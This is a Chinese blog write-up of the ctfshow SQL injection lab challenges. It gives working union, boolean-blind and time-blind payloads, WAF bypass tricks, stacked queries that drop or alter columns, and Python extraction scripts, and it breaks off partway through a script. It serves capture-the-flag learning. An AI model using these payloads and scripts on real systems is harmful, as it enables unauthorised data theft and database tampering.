ctfshowSql注入

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有一些师傅在去年就开始看我博客了，但是我还弄了一个每月计划，其中我最想写的是mysql注入，当时草草的看了看狗哥写的一篇文章让我看的也很想写，很想记录一下这些东西，顺便练习一下如何去写脚本，恰逢这几天，有不少师傅都在问，我就从ctfshow的SQL注入模块来学习一下一些有趣的姿势，简单的写写exp

web171

万能密码1'||1%23

web172

直接联合注入就好了

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1' union select 1,2,3%23

1' union select 1,2%23

1' union select group_concat(schema_name),2 from information_schema.schemata%23

1' union select group_concat(table_name),2 from information_schema.tables where table_schema="ctfshow_web"%23

1' union select group_concat(column_name),2 from information_schema.columns where table_name="ctfshow_user2"%23

1' union select group_concat(password),2 from ctfshow_user2%23

web173

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-1' union select 1,database(),3 --+

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow_web' --+

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user3' --+

-1' union select 1,2,to_base64(password) from ctfshow_user3 --+

方法一样，换个函数

web174

没有数据页了，那就盲注一下吧，可以直接猜到表名和列名，所以测测就可以打

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1' and 1=if(ascii(substr((select group_concat(password) from ctfshow_user4),1,1))>1,1,0)--+

用二分法比较快，个人也比较喜欢，除非非要使用字符集来打，不然都是写的这类脚本

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import requests

url = "http://941d949a-5fef-41da-8abd-6594f601ee1c.challenge.ctf.show/api/v4.php"
result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) //2

        # payload = f'''1' and 1=if(ascii(substr((select group_concat(password) from ctfshow_user4),{i},1))>{mid},1,0)--+'''
        payload = f'''1' and 1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0)--+'''
        # print(payload)
        r = requests.get(url+"?id="+payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web175

有权限写文件，也可以时间盲注，我写个脚本还是，后面比赛发现try\catch模块容易出问题，所以不写那一种写法

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import requests
import time

url = "http://f77c567a-e676-4d00-90f0-7ee558acbfd1.challenge.ctf.show/api/v5.php"
result = ''
i = 0
DELAY_THRESHOLD=3

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) //2

        payload = f'''1' and 1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(5),0)--+'''
        # print(payload)
        start_time = time.time()
        r = requests.get(url+"?id="+payload)
        request_time = time.time() - start_time

        if request_time >= DELAY_THRESHOLD:
            print(f"Delay triggered! ASCII > {mid}")
            head = mid + 1
        else:
            print(f"No delay. ASCII <= {mid}")
            tail = mid

	if head != 32:
        result += chr(head)
    else:
        break
    print(result)

没关打印，给自己看跑的过程也还不错，因为时间还真是挺久的，这里说一个小点，有时候sleep(5)网站并不一定会休眠5秒，所以要看，而且避免网络波动导致的原因，最好是把时间弄长点

web176

大小写绕过

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-1'union sElect 1,2,group_concat(password) from ctfshow_user--+

web177

/**/绕过空格

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-1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

web178

%09绕过空格

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-1'%09union%09select%091,2,password%09from%09ctfshow_user%23

web179

%0c绕过空格

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-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

web180

这里不是很好猜了，写了一个脚本来进行fuzz出waf

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import requests
import re

target = re.compile("admin")
url="http://638fd489-36ef-4f5d-91bb-aad72adb099c.challenge.ctf.show/api"

def repisTrue(char):
    payload=f'''1'and'{char}'='{char}'''
    r = requests.get(url+"?id="+payload)
    w = target.search(r.text)
    if w is not None:
        return True
    return False


if __name__ == '__main__':
    right = []
    waf = []
    for i in range(32,127):
        if repisTrue(chr(i)):
            right.append((i, chr(i)))
        else:
            waf.append((i, chr(i)))
    print("right:", right)
    print("waf:", waf)

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-1'%0cuniOn%0cselEct%0c'1','2','3

-1'%0cuniOn%0cselEct%0c'1',database(),'3

-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()),'3

-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema=database()%0cand%0ctable_name='ctfshow_user'),'3

-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(password)%0cfrom%0cctfshow_user%0c),'3

web181

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$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

优先级	运算符
1	`:=`
2	\|\|\OR\XOR
3	`&&`, `AND`
4	`NOT`
5	`BETWEEN`, `CASE`, `WHEN`, `THEN`, `ELSE`
6	`=`, `<=>`, `>=`, `>`, `<=`, `<`, `<>`, `!=`, `IS`, `LIKE`, `REGEXP`, `IN`
7	\|
8	`&`
9	`<<`, `>>`
10	`-`, `+`
11	`*`, `/`, `DIV`, `%`, `MOD`
12	`^`
13	`-` (一元减号), `~` (一元比特反转)
14	`!`
15	`BINARY`, `COLLATE`

注：数字越小，优先级越低；数字越大，优先级越高。MySQL中的运算符优先级从低到高排列。

这里很容易看出来我们直接插入username为flag即可获得flag，

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select id,username,password from ctfshow_user where username !='flag' and id = '-1'||username='flag' limit 1;

说实话我没有看太懂，然后在我们SU的discord里面问了问

就是这个样子，输入-1'||username='flag

web182

过滤了flag利用通配符

-1'||(username)like'fla_或者是-1'||(username)like'fla%

通配符	描述	示例
`%`	匹配零个或多个任意字符	`'a%'` 匹配所有以a开头的字符串
`_`	匹配单个任意字符	`'a_'` 匹配所有以a开头的两个字符长度的字符串

如果需要匹配通配符字符本身（即匹配 % 或 _ 字符），可以使用转义符 \ 进行转义：

模式	说明	匹配示例	不匹配示例
`'10\%'`	匹配字符串"10%"	‘10%’	‘10’, ‘100%’
`'\_apple'`	匹配字符串"_apple"	‘_apple’	‘apple’, ‘a_apple’

web183

利用通配符来匹配

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select count(pass) from (ctfshow_user)where(pass)like'{target+s}%';

查出来只有一条数据，也就是回显为$user_count = 1;，开始盲注

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import requests
url="http://f8df49db-5bb2-442e-8ce6-43929bc95b90.challenge.ctf.show/select-waf.php"
strings="1234567890abcdef-}"

target="ctfshow{"
for i in range(100):
    for s in strings:
        payload=f"(ctfshow_user)where(pass)like'{target+s}%'"
        data={"tableName":payload}
        r=requests.post(url,data)
        if "$user_count = 1;" in r.text:
            target+=s
            print(target)
            break
        if s =="}":
            exit()

web184

利用group by对查询结果进行分组，再来筛选，写个脚本

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select count(*) from ctfshow_user group by pass having pass like 0x63746673686f777b25;

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import requests

url = "http://99243179-d071-4d4e-8e0a-8bb4c0177aa9.challenge.ctf.show/select-waf.php"
target = 'ctfshow{'

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x', '') for c in str])


for i in range(1, 50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload = "ctfshow_user group by pass having pass like 0x{0}".format(str_to_hex(target + j + '%'))
        # print(payload)
        data = {'tableName': payload}
        r = requests.post(url=url, data=data)
        # print(r.text)
        if "$user_count = 1;" in r.text:
            target += j
            print(target)
        if len(target) == 44:
            print(target + '}')
            exit()

也可以利用内连接\左连接\右连接

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select count(*) from ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b25;

select count(*) from ctfshow_user a right join ctfshow_user b on b.pass like 0x63746673686f777b25;

select count(*) from ctfshow_user a left join ctfshow_user b on b.pass like 0x63746673686f777b25;

写出三个脚本(练习为主)

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import requests

url = "http://99243179-d071-4d4e-8e0a-8bb4c0177aa9.challenge.ctf.show/select-waf.php"
target = 'ctfshow{'

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x', '') for c in str])


for i in range(1, 50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload = "ctfshow_user a inner join ctfshow_user b on b.pass like 0x{0}".format(str_to_hex(target + j + '%'))
        # print(payload)
        data = {'tableName': payload}
        r = requests.post(url=url, data=data)
        # print(r.text)
        if "$user_count = 22;" in r.text:
            target += j
            print(target)
        if len(target) == 44:
            print(target + '}')
            exit()

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import requests

url = "http://99243179-d071-4d4e-8e0a-8bb4c0177aa9.challenge.ctf.show/select-waf.php"
target = 'ctfshow{'

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x', '') for c in str])


for i in range(1, 50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload = "ctfshow_user a right join ctfshow_user b on b.pass like 0x{0}".format(str_to_hex(target + j + '%'))
        # print(payload)
        data = {'tableName': payload}
        r = requests.post(url=url, data=data)
        # print(r.text)
        if "$user_count = 43;" in r.text:
            target += j
            print(target)
        if len(target) == 44:
            print(target + '}')
            exit()

为什么我没写左链接的脚本，因为我发现怎么写，他的回显都是一样的，没有区别无法完成盲注的任务，原因是什么呢？

LEFT JOIN 实现了一个左表保留的操作，确保左表中的每一行至少出现在结果集中一次，无论右表中是否存在匹配行。如果没有找到匹配行，SQL 会用 NULL 值填充右表的列。GeeksforGeek +2 这种做法创建了一个可预测的基础，该基础在任何连接条件下都保持不变。
相比之下，INNER JOIN 执行交集操作，结果集的大小会根据两个表之间实际匹配的数量而大幅变化。在 postgresql 中，结果集可以是零行（没有匹配）到笛卡尔积（每行多个匹配）。RIGHT JOIN 的行为类似于 LEFT JOIN，但在自连接场景中使用时会保留右表，从而在使用时产生类似的可变性。

web185

这题就比较复杂了，需要自增出true来表示数字，再利用chr和concat来表示字符串，不过注入还是用的group by和like通配符来打的，写个脚本

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import string
import requests

url = 'http://50a0761d-8695-48df-bfe5-9410e5169332.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
target = 'ctfshow{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
        return num


def createStrNum(c):
    str = ''
    str += 'chr(' + createNum(ord(c[0])) + ')'
    for i in c[1:]:
        str += ',chr(' + createNum(ord(i)) + ')'
    return str


uuid = string.ascii_lowercase + string.digits + "-{}"

for i in range(1, 50):
    for j in uuid:
        poc = payload.format(createStrNum(target + j + "%"))
        # print(poc)
        data = {
            'tableName': poc
        }
        r = requests.post(url, data)
        if "$user_count = 0;" not in r.text:
            target += j
            print(target)
            if j == '}':
                exit()
            break

web186

内连接，绕过还是一样绕

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import string
import requests

url = 'http://50a0761d-8695-48df-bfe5-9410e5169332.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user a inner join ctfshow_user b on b.pass like(concat({}))'
target = 'ctfshow{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
        return num


def createStrNum(c):
    str = ''
    str += 'chr(' + createNum(ord(c[0])) + ')'
    for i in c[1:]:
        str += ',chr(' + createNum(ord(i)) + ')'
    return str


uuid = string.ascii_lowercase + string.digits + "-{}"

for i in range(1, 50):
    for j in uuid:
        poc = payload.format(createStrNum(target + j + "%"))
        # print(poc)
        data = {
            'tableName': poc
        }
        r = requests.post(url, data)
        if "$user_count = 0;" not in r.text:
            target += j
            print(target)
            if j == '}':
                exit()
            break

web187

这不就把'变出来了ffifdyop

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select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b';

web188

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if($row['pass']==intval($password)){
    $ret['msg']='登陆成功';
    array_push($ret['data'], array('flag'=>$flag));
}

弱类型转换，一般id为0或者1的用户为admin，密码fuzz一下是0

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POST /api/ HTTP/1.1
Host: bb3afd2b-ab85-40c7-aad1-7804d184482a.challenge.ctf.show
Cookie: cf_clearance=FfFkJ_rCEzOW7OasGYKDaQdTABU_BVynV76XtJXtEMk-1737092124-1.2.1.1-08wtjOyMUOY8ThDT33UiGmkBadSYm33GtZ8UEqnhMYn45iIQYIfmtkdn0rCEq2cLjGXf0XdRXNrM4molLyQ8vDQnKyYt1ixrhYI8wUqSsnE_reHQM3L6B3Gr67nSRP1zSwCAeJEqXOf02wzTlhdAoBkjyG4DbDdMuMDw6HuBeMCHow7p3zZfJTguhcrd.YRyR8ZagXt2h1DBgZSdnioehaLAzj2nA8s1weMd_HWveEI4ls1PWJz.ADM_9UTNjpCJL6Rlu3t3JqrqEctObC1eUoGYZYf3LWHGDpgLNPYoVjs
Content-Length: 21
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
Origin: https://bb3afd2b-ab85-40c7-aad1-7804d184482a.challenge.ctf.show
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://bb3afd2b-ab85-40c7-aad1-7804d184482a.challenge.ctf.show/select-waf.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close

username=0&password=0

web189

利用load_file进行盲注，因为我们是找flag，所以直接正则匹配，写个脚本

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import requests
import string

url = 'http://b412e013-0ef3-4426-a54b-c77bc2ff1648.challenge.ctf.show/api/'
uuid = string.digits+string.ascii_lowercase+"-}"
target = 'ctfshow{'

for i in range(50):
    for char in uuid:
        payload = "if((load_file('/var/www/html/api/index.php')regexp('{0}')),1,0)"
        # print(char)
        data = {
            'username' : payload.format(target+char),
            'password' : 0
        }
        r = requests.post(url, data)
        if "\\u67e5\\u8be2\\u5931\\u8d25" in r.text:
            target += char
            print(target)
            break
        if char == "}" in r.text:
            exit()

写了一会，发现url没换，绷不住了

web190

Sql语句直接对参数进行拼接，直接打盲注，写Sql语句注意括号

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import requests

url="http://65067a4c-0f8b-4d9d-89ea-dc1ab6362ee3.challenge.ctf.show/api/"
i=0
target = ""

while True:
    i+=1
    head=32
    tail=127
    while head+1 <tail:
        mid=(tail+head)//2
        # payload="admin'and (ascii(substr((select database()),{0},1))<{1})#".format(i,mid)
        # ctfshow_web
        # payload = "admin'and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{0},1))<{1})#".format(
        #     i, mid)
        # ctfshow_fl0g,ctfshow_user
        # payload = "admin'and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))<{1})#".format(
        #     i, mid)
        # id, f1ag
        payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{0},1))<{1})#".format(
                 i, mid)
        # print(payload)
        data={
            "username":payload,
            "password":0,
        }
        r=requests.post(url,data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            tail = mid
        else:
            head=mid

    if head != 32:
        target += chr(head)
    else:
        break
    print(target)

这个脚本写了特别久，因为每次注出来之后他就不往里面加，陷入了一个死循环，后面我把第二个while的条件改了一下才出来的，真得随机应变啊

web191

用ord绕过，整个数据库都没变

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import requests

url="http://d50e11ca-112a-4b1c-bb8f-6ff147554e84.challenge.ctf.show/api/"
i=0
target = ""

while True:
    i+=1
    head=32
    tail=127
    while head+1 <tail:
        mid=(tail+head)//2
        # payload="admin'and (ord(substr((select database()),{0},1))<{1})#".format(i,mid)
        # ctfshow_web
        # payload = "admin'and (ord(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{0},1))<{1})#".format(
        #     i, mid)
        # ctfshow_fl0g,ctfshow_user
        # payload = "admin'and (ord(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))<{1})#".format(
        #     i, mid)
        # id, f1ag
        payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{0},1))<{1})#".format(
                 i, mid)
        # print(payload)
        data={
            "username":payload,
            "password":0,
        }
        r=requests.post(url,data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            tail = mid
        else:
            head=mid

    if head != 32:
        target += chr(head)
    else:
        break
    print(target)

web192

没有ord了，用chr来绕过，只不过好像需要小写字符，而且因为是二分法，_的ascii字符是95，就很容易跳过，不过自己手动换一下就好了，如果硬要识别出来就要遍历了，那样子不够快

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# 二分法
import requests

url="http://e3ca5daa-7fec-4bfa-9d2f-7282f1dbda31.challenge.ctf.show/api/"
i=0
target = ""

while True:
    i+=1
    head=32
    tail=127
    while head+1 <tail:
        mid=(tail+head)//2
        # payload="admin'and ((substr((select database()),{0},1))<chr({1}))#".format(i,mid)
        # ctfshow_web
        # payload = "admin'and ((substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{0},1))<chr({1}))#".format(
        #     i, mid)
        # ctfshow_fl0g,ctfshow_user
        # payload = "admin'and ((substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))<chr({1}))#".format(
        #     i, mid)
        # id, f1ag
        payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{0},1))<chr({1}))#".format(
                 i, mid)
        # print(payload)
        data={
            "username":payload,
            "password":0,
        }
        r=requests.post(url,data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            tail = mid
        else:
            head=mid

    if head != 32:
        target += chr(head)
    else:
        break
    print(target.lower())

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# 遍历
import requests

url="http://e3ca5daa-7fec-4bfa-9d2f-7282f1dbda31.challenge.ctf.show/api/"
i=0
target = ""

while True:
    i+=1
    head=32
    tail=127
    for j in range(head,tail):
        payload="admin'and ((substr((select database()),{0},1))=chr({1}))#".format(i,j)
        # ctfshow_web
        # payload = "admin'and ((substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{0},1))=chr({1}))#".format(
        #     i, j)
        # ctfshow_fl0g,ctfshow_user
        # payload = "admin'and ((substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))=chr({1}))#".format(
        #     i, j)
        # id, f1ag
        # payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{0},1))=chr({1}))#".format(
        #          i, j)
        # print(payload)
        data={
            "username":payload,
            "password":0,
        }
        r=requests.post(url,data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            target += chr(j)
            print(target.lower())
            break

web193\194

substr被过滤了，like和%来绕过

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import requests

url='http://93cacefa-296a-4488-87b6-4d9960e2804a.challenge.ctf.show/api/'
target=''

for i in range(100):
    for j in 'abcdefghijklmnopqrstuvwxyz0123456789-,{}_':
        # payload="admin'and (select database())like '{}'#".format(target+j+'%')
        # ctfshow_web
        # payload = "admin'and (select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web')like '{}'#".format(
        #     target + j + '%')
        # ctfshow_flxg,ctfshow_user
        # payload = "admin'and (select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flxg')like '{}'#".format(
        #     target + j + '%')
        # id,f1ag
        payload = "admin'and (select f1ag from ctfshow_flxg)like '{}'#".format(
            target + j + '%')

        # print(payload)
        data={
            'username':payload,
            'password':0
        }
        r=requests.post(url,data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            target+=j
            print(target)
            break

web195

直接闭合打堆叠注入

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0;update`ctfshow_user`set`pass`=1

web196

限制了字符长度为16，还是可以堆叠注入，select(1)回显肯定会1，如果注入的话，那服务器查到的密码也为1，那么我们就可以拿到flag了

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0;select(1)

web197–web200

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0;show tables;

原理一样的，密码就是表名，表名已知

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0;alter table ctfshow_user drop pass;alter table ctfshow_user add pass int default 1

0;insert ctfshow_user(`username`,`pass`) value(1,2)

如果修改数据的话，确实是会报密码错误，但是还是成功修改了

web214

参数根本拿不到，也没说，问了一下群友，知道一个工具拿来用用

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pip3 install arjun

arjun -u http://53f33753-1c7d-4c6b-94e9-8a52d19c9b97.challenge.ctf.show/api -m POST

搞不出来，F12找到select.js才知道参数，写个脚本，然后卡了一个小时，发现我今天Windows有点问题，这个账我要算到PYCC头上，傻逼比赛，后面发现是我代理问题，延迟高了也影响了，确实满足时间盲注的特点

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import requests
import time

url = "http://58298b04-11de-449f-b7a0-aab7810ed179.challenge.ctf.show/api/"

target=""
i=0
right_time=3

while True:
    i+=1
    head=32
    tail=127
    while head+1<tail:
        mid=(head + tail) >> 1
        # payload="if((ascii(substr((select database()),{0},1)))<{1},sleep(5),0)#".format(i,mid)
        # payload = "if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},sleep(5),0)#".format(
        #     i, mid)
        # ctfshow_flagx,ctfshow_info
        # payload = "if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{0},1)))<{1},sleep(5),0)#".format(
        #     i, mid)
        # id,flaga
        payload = "if((ascii(substr((select flaga from ctfshow_flagx),{0},1)))<{1},sleep(5),0)#".format(
            i, mid)
        
        # print(payload)
        data={
            "ip":payload,
            "debug":0
        }
        start_time=time.time()
        r=requests.post(url,data)
        last_time=time.time()-start_time
        if last_time>right_time:
            tail=mid
            # print("right")
        else:
            head=mid
            # print("wrong")

    if head!=32:
        target+=chr(head)
        print(target)
    else:
        break
    print(target)

web215

还是先传参ip=1&debug=1看到查询语句，想办法给闭合了，写出脚本

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import requests
import time

url = "http://653a1b2b-6829-4f6b-bc54-83e0ba08d177.challenge.ctf.show/api/"

target=""
i=0
right_time=3

while True:
    i+=1
    head=32
    tail=127
    while head+1<tail:
        mid=(head + tail) >> 1
        # payload="-1' or if((ascii(substr((select database()),{0},1)))<{1},sleep(5),0)#".format(i,mid)
        # payload = "-1' or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},sleep(5),0)#".format(
        #     i, mid)
        # ctfshow_flagxc
        # payload = "-1' or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{0},1)))<{1},sleep(5),0)#".format(
        #     i, mid)
        # id,flagaa
        payload = "-1' or if((ascii(substr((select flagaa from ctfshow_flagxc),{0},1)))<{1},sleep(5),0)#".format(
            i, mid)

        # print(payload)
        data={
            "ip":payload,
            "debug":0
        }
        start_time=time.time()
        r=requests.post(url,data)
        last_time=time.time()-start_time
        if last_time>right_time:
            tail=mid
            # print("right")
        else:
            head=mid
            # print("wrong")

    if head!=32:
        target+=chr(head)
        print(target)
    else:
        break
    print(target)

web216

看到查询语句里面是有from_base64，编码一下，闭合，改改payload

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import requests
import time

url = "http://013f68f0-6427-4155-9175-8e1a6229c223.challenge.ctf.show/api/"

target=""
i=0
right_time=3

while True:
    i+=1
    head=32
    tail=127
    while head+1<tail:
        mid=(head + tail) >> 1
        # payload="'MQ==') or if ((ascii(substr((select database()),{0},1)))<{1},sleep(5),0)#".format(i,mid)
        # payload = "'MQ==') or if ((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},sleep(5),0)#".format(
        #     i, mid)
        # ctfshow_flagxcc
        # payload = "'MQ==') or if ((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{0},1)))<{1},sleep(5),0)#".format(
        #     i, mid)
        # id,flagaac
        payload = "'MQ==') or if ((ascii(substr((select flagaac from ctfshow_flagxcc),{0},1)))<{1},sleep(5),0)#".format(
            i, mid)

        # print(payload)
        data={
            "ip":payload,
            "debug":0
        }
        start_time=time.time()
        r=requests.post(url,data)
        last_time=time.time()-start_time
        if last_time>right_time:
            tail=mid
            # print("right")
        else:
            head=mid
            # print("wrong")

    if head!=32:
        target+=chr(head)
        print(target)
    else:
        break
    print(target)

web217

sleep没了，用benchmark绕过一下就好了BENCHMARK(25000000, SHA2('test', 512))这样子差不多就是5s

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import requests
import time

url = "http://c1d1ee9a-2ee5-427a-ae6b-6b8ffd4fd40f.challenge.ctf.show/api/"

target=""
i=0
right_time=3

while True:
    i+=1
    head=32
    tail=127
    while head+1<tail:
        mid=(head + tail) >> 1
        # payload="1) or if ((ascii(substr((select database()),{0},1)))<{1},BENCHMARK(25000000, SHA2('test', 512)),0)#".format(i,mid)
        # payload = "1) or if ((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},BENCHMARK(25000000, SHA2('test', 512)),0)#".format(
        #     i, mid)
        # ctfshow_flagxccb
        # payload = "1) or if ((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{0},1)))<{1},BENCHMARK(25000000, SHA2('test', 512)),0)#".format(
        #     i, mid)
        # id,flagaabc
        payload = "1) or if ((ascii(substr((select flagaabc from ctfshow_flagxccb),{0},1)))<{1},BENCHMARK(25000000, SHA2('test', 512)),0)#".format(
            i, mid)

        # print(payload)
        data={
            "ip":payload,
            "debug":0
        }
        start_time=time.time()
        r=requests.post(url,data)
        last_time=time.time()-start_time
        if last_time>right_time:
            tail=mid
            # print("right")
        else:
            head=mid
            # print("wrong")

    if head!=32:
        target+=chr(head)
        print(target)
    else:
        break
    print(target)

但是这东西明显慢很多了

web218

benchmark没了，这里使用正则回溯达到延时(这么S?)

RPAD(1, 999999, 'a') 会创建一个包含1个"1"和999998个"a"的字符串，concat连接巨大字符串，并且正则表达式是贪婪的，所以回溯就会很久

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import requests
import time

url = "http://cb28e2bd-e328-4c20-bbe7-274d23befca5.challenge.ctf.show/api/"

target=""
i=0
right_time=0.8
sleep="(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b')"

while True:
    i+=1
    head=32
    tail=127
    while head+1<tail:
        mid=(head + tail) >> 1
        # payload="1) or if ((ascii(substr((select database()),{0},1)))<{1},{2},0)#".format(i,mid,sleep)
        # payload = "1) or if ((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},{2},0)#".format(
        #     i, mid,sleep)
        # ctfshow_flagxc
        # payload = "1) or if ((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{0},1)))<{1},{2},0)#".format(
        #     i, mid,sleep)
        # id,flagaac
        payload = "1) or if ((ascii(substr((select flagaac from ctfshow_flagxc),{0},1)))<{1},{2},0)#".format(
            i, mid,sleep)

        # print(payload)
        data={
            "ip":payload,
            "debug":0
        }
        start_time=time.time()
        r=requests.post(url,data)
        last_time=time.time()-start_time
        if last_time>right_time:
            tail=mid
            # print("right")
        else:
            head=mid
            # print("wrong")

    if head!=32:
        target+=chr(head)
        print(target)
    else:
        break
    print(target)

虽然延时不长，但是可以看出结果并没有错误

web219

笛卡尔积，当表没有指定连接条件(join)时，数据库会执行笛卡尔积操作，笛卡尔积的结果行数 = 每个表的行数相乘

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select (SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I);

本地尝试效果不是特别好，因为我数据库比较小

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import requests
import time

url = "http://7cafa34f-18aa-4753-b381-e634e88e709c.challenge.ctf.show/api/"

target=""
i=0
right_time=0.8
sleep="(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"

while True:
    i+=1
    head=32
    tail=127
    while head+1<tail:
        mid=(head + tail) >> 1
        # payload="1) or if ((ascii(substr((select database()),{0},1)))<{1},{2},0)#".format(i,mid,sleep)
        # payload = "1) or if ((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},{2},0)#".format(
        #     i, mid,sleep)
        # ctfshow_flagxca
        # payload = "1) or if ((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{0},1)))<{1},{2},0)#".format(
        #     i, mid,sleep)
        # id,flagaabc
        payload = "1) or if ((ascii(substr((select flagaabc from ctfshow_flagxca),{0},1)))<{1},{2},0)#".format(
            i, mid,sleep)

        # print(payload)
        data={
            "ip":payload,
            "debug":0
        }
        start_time=time.time()
        r=requests.post(url,data)
        last_time=time.time()-start_time
        if last_time>right_time:
            tail=mid
            # print("right")
        else:
            head=mid
            # print("wrong")

    if head!=32:
        target+=chr(head)
        print(target)
    else:
        break
    print(target)

web220

还是用笛卡尔积，但是过滤了好多函数，我们用其他函数来绕过一下，所以我们二分法也用不了了，只能遍历了，改改脚本，这里可以用left\right\mid\substring，只不过切片的写法和结果不同，还有一个注意的点就是这几个函数都不能和group_concat共用

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(left((select flagaabcc from ctfshow_flagxcac limit 0,1),3) = 'ctf'
(right((select flagaabcc from ctfshow_flagxcac limit 0,1), 1) = 'c'
(mid((select flagaabcc from ctfshow_flagxcac limit 0,1),1,1)='c'
(substring((select flagaabcc from ctfshow_flagxcac limit 0,1),1,3)='ctf'

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import requests
import time
import string

url = "http://7630ebf6-7c41-4d1c-9c58-d11e3fdc7946.challenge.ctf.show/api/"

target=""
i=0
right_time=0.8
sleep="(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"
strings="_-{}"+string.ascii_uppercase+string.ascii_lowercase+string.digits

for i in range(1,50):
    found = False
    for s in strings:
        temp_target = target + s
        # payload = "1) or if((left((select database()),{0})='{1}'),{2},0)-- +".format(
        #     i, temp_target, sleep)
        # ctfshow
